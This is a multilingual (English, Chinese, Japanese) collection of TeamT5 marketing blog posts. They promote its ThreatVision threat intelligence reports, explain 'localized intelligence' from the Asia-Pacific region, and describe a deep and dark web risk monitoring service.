Having access to precise and timely threat intelligence is crucial for protecting your organization. While many regions, such as Europe and America, have well-established cyber threat intelligence resources, the Asia-Pacific (APAC) region often faces a scarcity of localized intelligence. This is where TeamT5 steps in, leveraging over a decade of experience to offer specialized insights into APAC cyber threats.

##Why Choose TeamT5's ThreatVision?
TeamT5 is renowned for its expertise in the Asia-Pacific region. Our professional team, proficient in Chinese and equipped with deep geopolitical knowledge, has been at the forefront of researching Advanced Persistent Threats (APTs) from APAC for over twenty years. Our insights are frequently showcased at prestigious global conferences, underlining our status as leading experts in this domain.

##Understanding Threat Intelligence Needs
Cyber threat intelligence can be broadly categorized into three types, each catering to different roles within an organization:

####Strategic Threat Intelligence
Designed for C-level executives, this intelligence helps in understanding broad trends, identifying threat actors targeting the organization, and their objectives.

####Tactical Threat Intelligence
Essential for SOC leaders and analysts, this type focuses on hacker techniques and proactive threat prevention.

####Operational Threat Intelligence
Critical for incident responders, this intelligence provides precise threat indicators for swift assessment and response to incidents.

##Tailoring ThreatVision Reports to Your Needs
###For C-Level Executives

- **CTI Reports**: Consolidate event motives, sources, and malicious group profiles to provide crucial references.
- **RFI and Consulting Services**: Offer tailored investigation reports and advisory services for specific requirements.

###For Risk Managers

- **Technical Analysis**: Reports include event and malicious file analysis, helping in proactive threat mitigation.
- **Detection Tools**: Offer sample analysis capabilities for investigating current threats and understanding technical details.
- **Custom Reports and Tools**: TeamT5 analysts can provide customized reports and tools to aid in risk management operations.

###For Incident Responders

- **API Service**: Enables quick integration of automated situational information, reducing response times.
- **Threat Indicators and Detection Tools**: Provide accurate indicators to minimize false positives and enhance response efficiency.
- **Contextual Information**: Ensures sufficient context for swift escalation during high-risk events.

##Navigating ThreatVision Reports
ThreatVision reports are categorized to address various cybersecurity needs.

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

####APT in Asia Reports
Analyze APT events and trends in the APAC region, offering deep insights into hacker activities.

####Vulnerability Reports
Provide technical analysis and risk assessment of critical vulnerabilities, along with hunting tools and patch management.

####Cyber Affairs Reports
Comprehensive reports on cybersecurity operations and policies in the APAC region, particularly China.

##Enhancing Collaboration and Efficiency
ThreatVision enhances internal team collaboration and efficiency.

- **CISOs**: Use intelligence reports to secure budget, resources, and authority, while coordinating with CTOs and CIOs to strengthen policies.
- **SOC Teams**: Refer to IOCs and tools for rapid and effective defense deployment.
- **Analysts and Responders**: Investigate specific attack behaviors, analyze malicious samples, and provide insights for higher management.

##Summary
Choosing the right ThreatVision report is crucial for informed decision-making and effective threat management. Whether you need strategic insights, detailed technical analysis, or precise threat indicators, ThreatVision has the resources to meet your organization's cybersecurity needs. With our specialized focus on the Asia-Pacific region, you can trust TeamT5 to provide the intelligence necessary to stay ahead of evolving threats and safeguard your digital assets.

 
 
>Learn more about [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) and enhance your cybersecurity strategy with TeamT5 today. 
>
>[Contact us](https://teamt5.org/tw/contact-us//?utm_source=blog&utm_medium=website) to schedule a consultation.

Which ThreatVision Intelligence is Right for You?

為了有效保護您的企業不受複雜多變的網路威脅侵擾，獲取精確且及時的威脅情資是必要的防禦手段。儘管歐美等地區擁有成熟的網路威脅情報資源，亞太地區（APAC）卻往往缺乏在地情資，而這正是 TeamT5 發揮作用之處。憑藉超過十年的經驗，TeamT5 為亞太地區的網路威脅提供精確、及時且具洞見的威脅情資。

 
##為什麼選擇 TeamT5 的 ThreatVision？
TeamT5 以其深耕亞太地區威脅情資研究的專業而聞名。我們的專業團隊精通中文，擁有逾二十年所累積的深厚地緣政治知識，在研究亞太地區進階持續性威脅（APT）族群和網路威脅的領域中，始終保持領先。我們的研究報告經常在世界級資安會議上發表，進一步鞏固我們在專業領域中的領導地位。

 
##了解威脅情資需求
網路威脅情資大致可以分為以下三種類型，以符合組織內各種角色對威脅情資的不同需求：

####戰略威脅情資（Strategic Threat Intelligence）
專門為負責決策的 C-Level 高階管理人員設計，有助於管理人員洞察宏觀威脅趨勢，識別針對企業的惡意攻擊者，並闡明攻擊者的目標。

####實戰威脅情資（Operational Threat Intelligence）
戰術型威脅情資對安全運營中心（SOC）的主管及分析師至關重要，協助企業了解惡意攻擊者的技術，並積極預防潛在威脅。

####戰術威脅情資（Tactical Threat Intelligence）
對威脅事件處理者（Incident Responders）來說，這類情資提供了精確的入侵威脅指標（IoC），協助快速評估並應變事件。

 
##量身打造您的 ThreatVision 報告
####針對 C-Level 經理人、資安決策者
- **CTI 報告**：統整威脅事件動機、來源和惡意攻擊者概況，提供關鍵參考建議。
- **RFI 諮詢服務**：針對企業的特定需求，提供客製化調查報告和諮詢服務。

####針對風險管理人員
- **技術分析**：情資報告包含威脅事件調查和惡意程式分析，協助企業主動緩解威脅。
- **檢測工具**：平台提供惡意樣本分析功能，能夠用於分析當前威脅並了解技術細節。
- **客製化報告和工具**：TeamT5 分析師提供客製化的報告和威脅狩獵工具，協助企業風險管理。

####針對事件應變人員
- **API 服務**：可快速整合至自動化系統中，加速事件處理時間。
- **威脅指標和偵測工具**：提供精確的威脅指標，讓團隊能夠專注於真正的威脅，最大限度減少誤報，並提高事件應變效率。
- **上下文資訊**：提供完整充分的上下文背景資訊，確保團隊在高風險事件中能夠快速掌握威脅的嚴重性，以進行必要的防禦升級或應對措施。

 
##總覽 ThreatVision 報告
ThreatVision 的威脅情資報告分類為以下三種，用以解決各種層面的網路安全需求。

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

###亞洲 APT 威脅情資報告
分析亞太地區的 APT 事件和威脅趨勢，深入了解駭客族群的活動。

###漏洞威脅情資報告
針對可被利用的高危關鍵漏洞，提供詳盡的技術分析和風險評估，以及狩獵工具和漏洞修補管理建議，使企業得以減輕高危漏洞所造成的威脅。

###亞太網路政策報告
彙整中文網路世界的重點網路資安新聞，包含政策、法案以及資安事件，尤其是中國網路政策相關的最新動態與發展。


 
##增強協作和效率
透過 ThreatVision ，您也得以增強企業內部團隊的協作和效率。

- **資安長（CISO）**：利用威脅情資報告來決策預算、資源和權限，並與 CTO 和 CIO 協作，加強資訊安全策略。
- **SOC 團隊**：參考入侵指標和威脅狩獵工具，快速有效地部署防禦，抵禦潛在威脅。
- **分析師和事件應變人員**：協助企業調查具體的攻擊行為，分析環境中的惡意樣本，並為高階管理人員提供戰略見解。

 
##總結
選擇最適合您的 ThreatVision 威脅情資報告，協助您的組織做出明智決策並有效管理威脅。無論您需要的是宏觀戰略見解、詳細技術分析，還是精確的威脅指標，ThreatVision 都擁有能滿足您網路安全需求的豐富資源。憑藉我們長期專注於亞太地區威脅情資研究的資歷，您可以信賴 TeamT5 所提供的必要情資，以超前應對不斷演變的威脅，並保護您的數位資產。



 
 
>請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，進一步安排諮詢，強化企業資安防禦。

選擇最適合您的 ThreatVision 威脅情資報告

正確かつリアルタイムな脅威インテリジェンスへのアクセスは、組織を保護するために不可欠です。ヨーロッパやアメリカなどではサイバー脅威インテリジェンスのリソースが確立されていますが、アジア太平洋 (APAC) 地域ではローカライズされたインテリジェンスが不足していることがよくあります。そこで TeamT5 は、10 年以上の経験を活かして APAC のサイバー脅威に関する専門的な知見を提供します。

##TeamT5 の ThreatVision を選ぶ理由

TeamT5 の最大の特徴は、アジア太平洋地域における専門知識の豊富さです。言語的、地政学的優位性を備えた当社の専門チームは、20 年以上にわたってアジア太平洋地域の APT (Advanced Persistent Threat) 研究の最前線に立ってきました。当社の知見は、権威ある世界的カンファレンスで頻繁に紹介されており、この分野におけるプロフェッショナルとしての地位を確立しています。

##脅威インテリジェンスのニーズを理解する
サイバー脅威インテリジェンスは、組織内のさまざまな役割に応じて、大きく 3 つのタイプに分類できます。

####戦略的脅威インテリジェンス
C レベルのエグゼクティブ向けに設計されたこのインテリジェンスは、幅広い傾向を理解し、組織を標的とする脅威アクターとその目的を特定するのに役立ちます。

####戦術的脅威インテリジェンス
SOC リーダーとアナリストにとって不可欠なこのインテリジェンスは、ハッカーのテクニックとプロアクティブな脅威の防止に重点を置いています。

####運用的脅威インテリジェンス
インシデント対応者にとって重要なこのインテリジェンスは、インシデントに対する迅速な評価と対応のための正確な脅威指標を提供します。

##ThreatVision レポートをニーズに合わせてカスタマイズ
####C レベルのエグゼクティブ向け
- **CTI レポート**: イベントの動機、ソース、悪意のあるグループのプロファイルを統合して、重要な参考資料を提供します。
- **RFI およびコンサルティング サービス**: 特定の要件に合わせてカスタマイズされた調査レポートとアドバイザリーサービスを提供します。


####リスク管理者向け
- **技術分析**: レポートにはイベントと悪意のあるファイルの分析が含まれており、プロアクティブな脅威の軽減に役立ちます。
- **検出ツール**: 現在の脅威を調査し、技術的な詳細を理解するためのサンプル分析機能を提供します。
- **カスタム レポートとツール**: TeamT5 アナリストが、リスク管理業務を支援するカスタマイズされたレポートとツールを提供します。


####インシデント対応者向け
- **API サービス**: 自動化された情報を迅速に統合し、対応時間を短縮します。
- **脅威インジケーターと検出ツール**: 誤検知を最小限に抑え、対応効率を高める正確な指標を提供します。
- **コンテキスト情報**: リスクの高い事象が発生した場合に、迅速なエスカレーションのための十分なコンテキストを確保します。

##ThreatVision レポートの種類
[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) レポートは、さまざまなサイバーセキュリティのニーズに対応するために分類されています。

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

####APT in Asia Report
APAC 地域の APT イベントと傾向を分析し、ハッカーの活動に関する深い知見を提供します。

####Vulnerability Report
重大な脆弱性の技術分析とリスク評価、およびハンティング ツールとパッチ管理を提供します。

####Cyber Affairs Report
アジア太平洋地域、特に中国におけるサイバーセキュリティの運用とポリシーに関する包括的な情報をまとめています。

##連携力と効率の強化
[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) は、社内チームの連携力と効率を強化します。
- **CISO**: インテリジェンス レポートを使用して予算、リソース、権限を確保し、CTO や CIO と連携してポリシーを強化します。
- **SOC チーム**: IOC とツールを参照して、迅速かつ効果的な防御を展開します。
- **アナリストと対応者**: 特定の攻撃動作を調査し、悪意のあるサンプルを分析し、上級管理職に知見を提供します。

##まとめ
適切な [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) レポートを選択することは、情報に基づいた意思決定と効果的な脅威管理に不可欠です。戦略的な洞察、詳細な技術分析、または正確な脅威指標のいずれにおいても、[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) には組織のサイバーセキュリティのニーズを満たすリソースがあります。アジア太平洋地域に特化している TeamT5 は、進化する脅威に先手を打ってデジタル資産を保護するために必要なインテリジェンスを提供します。



あなたにぴったりの ThreatVision インテリジェンス を選びましょう

ThreatVision Resources

時代の変化と共に、サイバー脅威はより高度で多様なものになっています。攻撃者は常に、既存の防御方法を凌駕する新しい攻撃方法を考え出し、セキュリティシステムを狙い続けています。

このような脅威から身を守るには、攻撃者が何を考え、どのように行動するかを理解することが極めて重要です。脅威インテリジェンスは、企業がサイバー攻撃を事前に阻止、被害を軽減することに役立ちます。

このホワイトペーパーでは、脅威インテリジェンスと、企業がそれを簡単に活用する方法をご紹介します。

## 目次
- **脅威インテリジェンスの紹介**

 *脅威インテリジェンスとは？

 *なぜ脅威インテリジェンスが重要なのか？

 *脅威インテリジェンスを効果的に活用するには？

- **脅威インテリジェンスの実用**
- **使用事例 : APAC諸国政府**
- **まとめ**

 
脅威インテリジェンスの活用とサイバー攻撃対策の全文は、TeamT5公式ウェブサイトの下記リンクより取得することが可能です。

【Whitepaper】脅威インテリジェンスの活用とサイバー攻撃対策

企業はますます複雑で深刻なセキュリティ課題に直面していますが、「ゼロ トラスト」は、サイバー セキュリティを強化し、企業全体のリスクを軽減するために組織が追求すべき重要な戦略です。

ガートナーの調査によると、世界中の組織の 63% がゼロ トラスト戦略を実装しています。ただし、ほとんどの組織では、ゼロ トラスト戦略は環境の半分以下しかカバーしていません。

「侵害を想定し、常に検証する」というゼロ トラストの原則に従い、組織は常に侵害がすでに発生している可能性があるという前提で活動する必要があります。この文脈では、組織がデータと資産の安全を確保するために、プロアクティブな脅威ハンティングが不可欠になります。


**このホワイトペーパーでは、脅威ハンティング** の全体的な理解が得られます。内容は次のとおりです。**
- 脅威ハンティングとは?
- なぜ脅威ハンティングが必要なのか?	
- 脅威ハンティングを実装するには?
- TeamT5 はどのように役立つのか?


 

**Fill up the form and receive our whitepaer now!**

【Whitepaper】脅威はどこにでも存在する - ゼロトラスト戦略を強化するための効果的なエンドポイント脅威ハンティングの実践方法

ThreatSonar Resources

Understanding and countering threats effectively requires precise, timely, and context-rich intelligence. This is where localized intelligence becomes a critical asset. At TeamT5, we specialize in leveraging localized intelligence to provide unparalleled insights into cyber threats, particularly those emanating from the APAC region. But what exactly is localized intelligence, and how is it crafted?

## The Concept of Localized Intelligence
Localized intelligence refers to the collection and analysis of information directly from the regions where specific cyber threats originate. Imagine you're an organization or a government entity aiming to thwart attacks from a terror group based in the Middle East. Would you rely on intelligence from a company entrenched in the region, familiar with the language, culture, and ongoing activities, or from a company situated thousands of miles away with limited exposure to these threats? The choice is clear: proximity and direct engagement with the threat landscape are invaluable.

##Taiwan: A Hotspot for Cyber Threats
To illustrate the power of localized intelligence, consider Taiwan. In the first half of 2023, Taiwan experienced an astonishing 15,000 cyber attacks per second. This relentless onslaught is a direct result of its geopolitical situation, making Taiwan a unique vantage point for gathering cyber threat intelligence. At TeamT5, we harness this continuous exposure to cyber threats to develop first-hand, accurate, and timely intelligence on adversaries targeting the APAC region.

## Challenges Faced by Western Organizations
Western organizations often struggle with gathering detailed intelligence on overseas adversaries for several reasons:
1. **Geographical Distance**: Being far from the source of threats means fewer attack instances to study, resulting in less comprehensive data.
2. **Cultural and Language Barriers**: Understanding the nuances of an adversary's communication, tactics, and motivations requires fluency in their language and deep cultural insights.
3. **Limited Access**: Accessing forums and chat rooms where adversaries plan and discuss their activities can take years of reputation-building, a process challenging for distant organizations.

##The TeamT5 Approach to Localized Intelligence

![en_what-is-localized-intelligence-and-how-is-it-made.png](https://uploads.teamt5.org/upload/original/en_what-is-localized-intelligence-and-how-is-it-made.png)


At TeamT5, our methodology for creating localized intelligence is rigorous and multifaceted:

1.** Data Collection from Frequent Attacks**: We gather extensive data from previous attacks, including logs, sample malware, and telemetrics. This data serves as the foundation for our intelligence reports.
2. **Native Expertise**: Our threat researchers are native speakers of the languages used by adversaries and have a deep understanding of the local culture. This expertise enables them to decipher coded messages and signatures that would otherwise go unnoticed.
3. **Long-term Engagement**: Building trust and gaining access to closed forums and chat rooms used by adversaries requires long-term commitment and meticulous reputation building.
4. **Comprehensive Analysis**: Our analysts synthesize the gathered data, combining their understanding of the geopolitical landscape with the latest intelligence to produce actionable reports.

##Components of Localized Intelligence
Localized intelligence from TeamT5 includes several critical elements:
1. **Target Scope**: Identifying which regions, countries, and industries are being targeted.
2. **Tactics, Techniques, and Procedures (TTPs)**: Detailing the methods and tools used by adversaries.
3. **Command and Control (C&C) Infrastructure**: Analyzing the infrastructure adversaries use to orchestrate their attacks.

##The Power of Localized Intelligence in Practice
Take, for instance, TeamT5’s campaign tracking report. 

![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)

Each Campaign Tracking Report report includes:
- **Research Highlight**: A summary of the report’s key topics.
- **Target Scope**: Information on the targeted regions and sectors.
- **TTPs**: Insights into the adversaries' latest techniques and malware.
- **C&C Infrastructure**: Details on the infrastructure supporting the attacks.
- **Special Topics**: In-depth case studies on specific attack campaigns.


##Utilizing Localized Intelligence
Organizations can leverage localized intelligence in various ways. Some prefer manual review of intelligence reports, while others integrate indicators of compromise into automated detection systems. The optimal approach combines both methods, allowing for proactive threat prevention and informed risk management.


##Conclusion
Localized intelligence is a cornerstone of effective cyber threat defense, providing the detailed, contextual understanding necessary to counter sophisticated adversaries. At TeamT5, we are committed to delivering the highest quality localized intelligence to help organizations worldwide stay ahead of emerging threats. For more comprehensive insights, consider downloading our white paper, "[Understanding Cyber Threat Intelligence and the Cyber Threat Landscape with TeamT5](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”.


> Learn more about how localized intelligence can help your organization by [contacting us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) today!

What is Localized Intelligence and How is it Made?

要有效地理解和應對威脅，需要精確、及時且具有豐富情境背景的情資。而這正是「在地情資」成為關鍵資產的原因所在。TeamT5 專注於利用在地情資，為 APAC 地區的網路威脅提供無與倫比的洞見。但究竟什麼是「在地情資」，以及它是如何製作的呢？

##在地情資的概念
在地情資指的是直接從特定網路威脅發源地收集和分析資訊。想像你是一個組織或政府單位，專注在阻止來自中東恐怖組織的攻擊。你會仰賴一家紮根於該地區、熟悉當地語言、文化和當前威脅活動的公司，還是仰賴於一家距離數千公里、對這些威脅接觸有限的公司？選擇是顯而易見的：接近威脅環境並直接參與其中的情資具有無可估量的價值。

##台灣：網路威脅的重中之重
為了說明在地情資的力量，讓我們以台灣為例。2023 年上半年，台灣每秒遭受多達 15,000 次的網路攻擊。台灣的地緣政治形勢，直接導致這無情的攻擊，使台灣成為收集網路威脅情資的獨特觀察點。TeamT5 藉這持續網路威脅暴露現況，開發出針對 APAC 地區駭客族群的第一手、精確及時的情資。

##西方組織面臨的挑戰
西方組織在收集海外駭客族群的詳細情資時，經常面臨以下挑戰：
1. **地理距離**：與威脅來源距離遙遠，代表能研究的攻擊實例較少，導致資料不夠全面。
2. **文化和語言障礙**：要能了解駭客族群的溝通、戰術和動機的細微差別，需要精通他們的語言和深入的文化洞察。
3. **有限的進入管道**：進入駭客族群策劃和討論活動的論壇和聊天室，需要花數年建立聲譽，這對遠端組織來說是個挑戰。

##TeamT5 在地化情資製作方式

![tw_what-is-localized-intelligence-and-how-is-it-made.png](https://uploads.teamt5.org/upload/original/tw_what-is-localized-intelligence-and-how-is-it-made.png)

TeamT5 製作在地情資的方法嚴謹且涵蓋多個層面：
1. **從頻繁發生的攻擊中收集資料**：我們從先前的攻擊中收集大量資料，包括日誌、樣本惡意軟體和遙測數據。這些數據是我們情資報告的基礎。
2. **在地專業知識**：我們的威脅研究員所使用的母語與駭客族群相同，對當地文化有深刻理解。這種專業知識使他們能夠破譯其他人可能忽略的隱密資訊和特徵。
3. **長期參與**：建立信任並進入駭客族群使用的封閉論壇和聊天室，需要長期投入和謹慎的信譽建立。
4. **全面分析**：我們的分析師綜合收集到的資料，結合對地緣政治形勢的理解和最新情資，生成可操作的報告。

##在地情資的組成要素
TeamT5 的在地情資包括以下關鍵要素：
1. **目標範圍**：確定哪些地區、國家和產業成為攻擊目標。
2. **戰術、技術和程序（Tactics, Techniques, and Procedures, TTPs）**：詳細描述駭客族群使用的方法和工具。
3. **中繼站（C&C）基礎設施**：分析駭客族群用於指揮攻擊的基礎設施。

##在地情資的實際應用

![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)

以 TeamT5 的活動追蹤報告為例，每份活動追蹤報告包括：
1. 研究重點：報告的關鍵主題摘要。
2. 目標範圍：針對的地區和產業資訊。
3. TTPs（Tactics, Techniques, and Procedures）：駭客族群最新技術和惡意軟體的洞察。
4. C&C 基礎設施：支持攻擊的基礎設施詳細資訊。
5. 專題：特定攻擊活動的深入案例研究。

##利用在地情資
企業組織可以以多種方式利用在地情資。有些組織偏好人工審閱情資報告，而其他組織則將入侵指標整合到自動檢測系統中。最佳化 TeamT5 在地情資使用方式，是結合這兩種方法，實現主動威脅預防和風險知情（risk-informed）管理。

##結論
在地情資是有效網路威脅防禦的基石，提供了對抗複雜駭客族群所需的詳細、情境化的理解。TeamT5 致力於提供最高品質的在地情資，幫助全球組織持續領先於新興威脅。想獲取更全面的洞見分析，請下載我們的[白皮書《了解網路威脅情資及其威脅環境：TeamT5 解析》](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)。

>現在就[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解威脅情資如何助您的組織一臂之力！



什麼是在地情資？如何製作？

脅威を的確に理解し、効果的に対抗するには、正確でタイムリー、かつコンテキストに富んだインテリジェンスが必要です。そこで、ローカライズされたインテリジェンスが重要な資産となります。TeamT5では、ローカライズされたインテリジェンスを活用して、特にAPAC地域から発信されるサイバー脅威に関する比類のない知見を提供することを専門としています。しかし、ローカライズされたインテリジェンスとは正確には何であり、どのように作成されるのでしょうか?


##ローカライズされたインテリジェンスの概念

ローカライズされたインテリジェンスとは、特定のサイバー脅威が発生する地域から直接情報を収集し分析することを指します。中東を拠点とするテログループからの攻撃を阻止することを目的とする組織や政府機関を例として挙げてみましょう。その地域に根ざし、言語や文化、進行中の活動に精通している企業と、数千キロも離れた場所にあり、こうした脅威への接触が限られている企業のどちらからの情報を頼りにするでしょうか。選択肢は明らかに前者が選ばれます。

##台湾：サイバー脅威のホットスポット

ローカライズされたインテリジェンスの威力を示すために、台湾について考えてみましょう。2023年上半期、台湾では毎秒15,000件という驚異的なサイバー攻撃が発生しました。この容赦ない猛攻撃は、台湾の地政学的状況の直接的な結果であり、台湾はサイバー脅威インテリジェンスを収集するための独特な立ち位置にあります。TeamT5では、このような継続的なサイバー脅威への暴露を活用し、APAC地域を標的とする敵対勢力に関する直接かつ正確でタイムリーなインテリジェンスを開発しています。

##欧米の組織が直面する課題
![jp_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/jp_what-is-localized-intelligence-and-how-is-it-made.jpg)

欧米の組織が、海外の敵対勢力に関する詳細な情報の収集に苦労することが多いのには、いくつかの理由があります：


1. **地理的距離**： 脅威の発生源から遠く離れているため、調査対象となる攻撃事例が少なく、包括的なデータが得られないことが多いです。

2. **文化と言語の壁**： 攻撃者のコミュニケーション、戦術、動機のニュアンスを理解するには、敵の言語に精通し、深い文化的洞察力が必要です。

3. **アクセスの制限**： 攻撃者が活動を計画し議論するフォーラムやチャットルームにアクセスするには、何年もかけて評判を高める必要があり、遠方の組織にとっては困難なプロセスです。

##TeamT5 のローカライズされたインテリジェンスへのアプローチ

TeamT5 では、ローカライズされたインテリジェンスを作成するための方法は厳格かつ多面的です：

1. **頻繁に起こる攻撃からのデータ収集**：ログ、マルウェアのサンプル、テレメトリなど、過去の攻撃から広範なデータを収集します。このデータは、当社のインテリジェンスレポートの基礎となります。

2. **ネイティブの専門知識**：当社の脅威リサーチャーは、攻撃者が使用する言語を母国語とし、現地の文化を深く理解しています。この専門知識により、通常であれば気づかれないような暗号化されたメッセージやシグネチャを解読することができます。

3. **長期的な関与**： 信頼関係を構築し、攻撃者が使用する非公開のフォーラムやチャットルームにアクセスするには、長期的な関わりと綿密な評判の構築が必要です。

4. **包括的な分析**： 当社のアナリストは、収集したデータを統合し、地政学的状況に対する理解と最新のインテリジェンスを組み合わせて、実用的なレポートを作成します。


##ローカライズされたインテリジェンスの構成要素
![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)
 

TeamT5 のローカライズされたインテリジェンスには、いくつかの重要な要素が含まれています：


1. **ターゲット範囲**: どの地域、国、業界が狙われているかを特定します。

2. **戦術、テクニック、手順 (TTPs)**： 攻撃者が使用する手法やツールの詳細を表示します。

3. **コマンド＆コントロール（C&C）インフラ**： 攻撃者が攻撃を組織化するために使用するインフラストラクチャを分析します。
 

##ローカライズされたインテリジェンスの実際的な応用
例として、TeamT5 のCampaign Tracking Reportを見てみましょう：

各Campaign Tracking Reportには以下が含まれます：

- 調査のハイライト：レポートの主要トピックのまとめ
- ターゲット範囲： ターゲットの地域とセクターに関する情報
- 戦術、テクニック、手順： 攻撃者の最新のテクニックに関する知見
- C&C インフラ：攻撃をサポートするインフラストラクチャの詳細
- 特定のトピック: 特定の攻撃キャンペーンに関する詳細なケーススタディ

##ローカライズされたインテリジェンスの活用



組織は、さまざまな方法でローカライズされたインテリジェンスを活用することができます。インテリジェンスレポートを手作業で確認することを好む組織もあれば、侵害指標を自動検知システムに統合する組織もあります。最適なアプローチは、両方の方法を組み合わせることで、プロアクティブな脅威の予防と情報に基づくリスク管理を可能にします。


##結論は
ローカライズされたインテリジェンスは、効果的なサイバー脅威防御の礎であり、高度な攻撃死者に対抗するために必要な詳細かつ文脈に基づいた理解を提供します。TeamT5では、世界中の組織が新たな脅威の一歩先を行くことができるよう、最高品質のローカライズされたインテリジェンスを提供することをお約束します。より包括的な知見については、当社のホワイトペーパー「TeamT5によるサイバー脅威インテリジェンスとサイバー脅威状況の理解」のダウンロードをご検討ください。

ローカライズされたインテリジェンスとは？どのように作られるのか?

In the shadowy corners of the internet, the dark web thrives as a haven for cybercriminals. This clandestine part of the web, hidden from conventional search engines and browsers, is a hub for illicit activities, from trading malware to selling stolen data. Businesses today face unprecedented risks from the dark web, where data breaches can lead to severe financial, operational, and legal repercussions. Understanding and mitigating these threats is essential, and TeamT5's latest product offerings through ThreatVision’s Deep and Dark Web Risk Monitoring provide a robust solution.

##The Impact of Dark Web Leaks on Businesses
###Financial Devastation
The financial implications of data breaches can be catastrophic. When sensitive information is leaked on the dark web, it often leads to extortion, fraud, and other financial crimes. A glaring example is a major credit reporting agency that faced a breach compromising the personal data of 163 million individuals, resulting in losses exceeding $1.7 billion. This included fines from various regions, underscoring the severe consequences and extensive reach of such breaches.

####Operational Disruptions
Data breaches can significantly disrupt business operations. A notable incident involved a media giant whose data leak on Thanksgiving 2014 forced 47,000 employees to work from home, unable to access IT systems. The hackers, known as "Guardians of Peace," infiltrated the company’s systems, leaking sensitive information and causing the company's stock price to drop by over 10% within five days. The operational disruptions were profound, with employees reverting to paper-based processes, leading to inefficiencies and extended downtime.

####Legal Repercussions
Companies in regulated industries face stringent penalties when customer data is compromised. A retail giant's breach, which led to the theft of over 40 million credit and debit card records, resulted in over 90 lawsuits from affected customers and banks. The company faced investigations by regulatory bodies, including the Federal Trade Commission (FTC), and incurred costs exceeding $61 million to address the incident and restore customer trust.

##Understanding the Deep and Dark Web
The internet is composed of more than just the surface web, accessible via conventional search engines. The deep web consists of non-indexed sites locked behind usernames and passwords, containing sensitive information such as legal documents and financial records. While the deep web is largely benign, it holds critical data that businesses must protect proactively.
The dark web, however, is where the real danger lies. Accessible only through special browsers like Tor, which offers high anonymity, the dark web is a hotspot for criminal activities. This anonymity makes it attractive for cybercriminals to engage in activities such as data leaks, fraud, money laundering, and selling stolen data.

##Common Cybersecurity Crimes on the Dark Web
- **Malware Trading**: Hackers trade various types of malware to infect systems and steal data.
- **Credential Sales**: Compromised usernames and passwords are sold, leading to corporate system breaches.
- **Data Sales**: Personal and corporate sensitive data are sold, damaging reputations.
- **Credit Card Fraud**: Leaked credit card numbers are sold for profit and used for fraudulent activities.

##Combating Dark Web Risks with ThreatVision
####TeamT5’s Deep and Dark Web Risk Monitoring
To address these threats, TeamT5 offers a comprehensive Deep and Dark Web Risk Monitoring module through ThreatVision. This includes two key products: the Weekly Alert and the Tailored Report.

#####Risk Alert
The Weekly Alert provides automated weekly scans of the deep and dark web. Results are accessible through the ThreatVision platform or via email, and can be exported in CSV format for further analysis. This enables businesses to quickly identify and respond to potential risks.

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)

#####Tailored Report
The Tailored Report offers a deeper level of analysis, including threat risk assessment, recent findings, and mitigation suggestions. It covers deep and dark websites, hacker forums, Chinese-speaking underground communities, social media, and popular forums in the APAC region. This report is enriched with intelligence gathered and analyzed by TeamT5’s expert analysts.


####Benefits of TeamT5's Monitoring
- **Regular Monitoring**: Enables quick identification of deep and dark web risks.
- **Proactive Response**: Provides time to make PR and operational adjustments to minimize damage.
- **Impact Assessment**: Helps assess the breach impact and protect the company’s reputation.


####Focused Monitoring on Finance-related Cybercrime Activities
TeamT5’s monitoring focuses on criminal activities related to the financial industry and e-commerce. With a significant emphasis on Chinese-speaking channels and communities, sources are regularly updated by a team of dedicated analysts. The monitored sources include over 40 deep and dark websites, 400+ Telegram channels, and various social media platforms used by Chinese-speaking threat actors.

####Comprehensive Reporting
The ThreatVision platform provides detailed reports, including:
- **List of Leaked Data**: Details of credentials leaked from combo lists and compromised devices.
- **Risk Assessment and Recommendations**: Expert analysis and actionable recommendations to mitigate risks.


##Summary
In today’s digital landscape, the dark web poses significant threats to businesses worldwide. However, with TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision, companies can proactively monitor and mitigate these risks. By understanding the dark web, assessing threats, and taking timely actions, businesses can protect their operations, finances, and reputation from the hidden dangers lurking in the dark corners of the internet.
Stay vigilant and safeguard your business with ThreatVision – because in the battle against cyber threats, knowledge and proactive measures are your best allies.

 

> TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[datasheet link](https://uploads.teamt5.org/upload/files/TeamT5-DDW-Datasheet-EN.pdf)

Shining a Light on the Dark Web: Protecting Your Data and Reputation

